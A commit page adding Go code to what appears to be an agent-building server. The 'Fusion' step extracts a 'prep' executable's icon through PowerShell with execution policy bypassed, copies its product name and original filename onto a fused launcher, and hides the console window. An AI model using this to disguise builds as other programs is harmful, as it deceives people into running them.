Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
91
server/internal/builder/icon_windows.go
Normal file
91
server/internal/builder/icon_windows.go
Normal file
@@ -0,0 +1,91 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
||||
func extractIconFromEXE(exePath, icoPath string) error {
|
||||
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
||||
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||||
script := fmt.Sprintf(`
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon('%s')
|
||||
if ($null -eq $icon) { throw 'no icon on executable' }
|
||||
$dir = Split-Path -Parent '%s'
|
||||
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||||
$fs = [System.IO.File]::Create('%s')
|
||||
$icon.Save($fs)
|
||||
$fs.Close()
|
||||
`, exeEsc, icoEsc, icoEsc)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if _, err := os.Stat(icoPath); err != nil {
|
||||
return fmt.Errorf("icon file not created: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
|
||||
cmd := exec.Command(
|
||||
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
|
||||
"make",
|
||||
"--arch", "amd64",
|
||||
"--in", fusionDir,
|
||||
"--icon", iconPath,
|
||||
"--file-description", productName,
|
||||
"--product-name", productName,
|
||||
"--original-filename", filepath.Base(prepPath),
|
||||
)
|
||||
cmd.Dir = fusionDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
|
||||
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
|
||||
func peSubsystem(exePath string) int {
|
||||
data, err := os.ReadFile(exePath)
|
||||
if err != nil || len(data) < 128 {
|
||||
return 2
|
||||
}
|
||||
peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24)
|
||||
if peOff+24+68+2 > len(data) {
|
||||
return 2
|
||||
}
|
||||
if string(data[peOff:peOff+4]) != "PE\x00\x00" {
|
||||
return 2
|
||||
}
|
||||
opt := peOff + 24
|
||||
sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8)
|
||||
return sub
|
||||
}
|
||||
|
||||
func fusionLdflags(prepPath string) string {
|
||||
flags := "-s -w"
|
||||
if peSubsystem(prepPath) == 2 {
|
||||
flags += " -H windowsgui"
|
||||
}
|
||||
return flags
|
||||
}
|
||||
Reference in New Issue
Block a user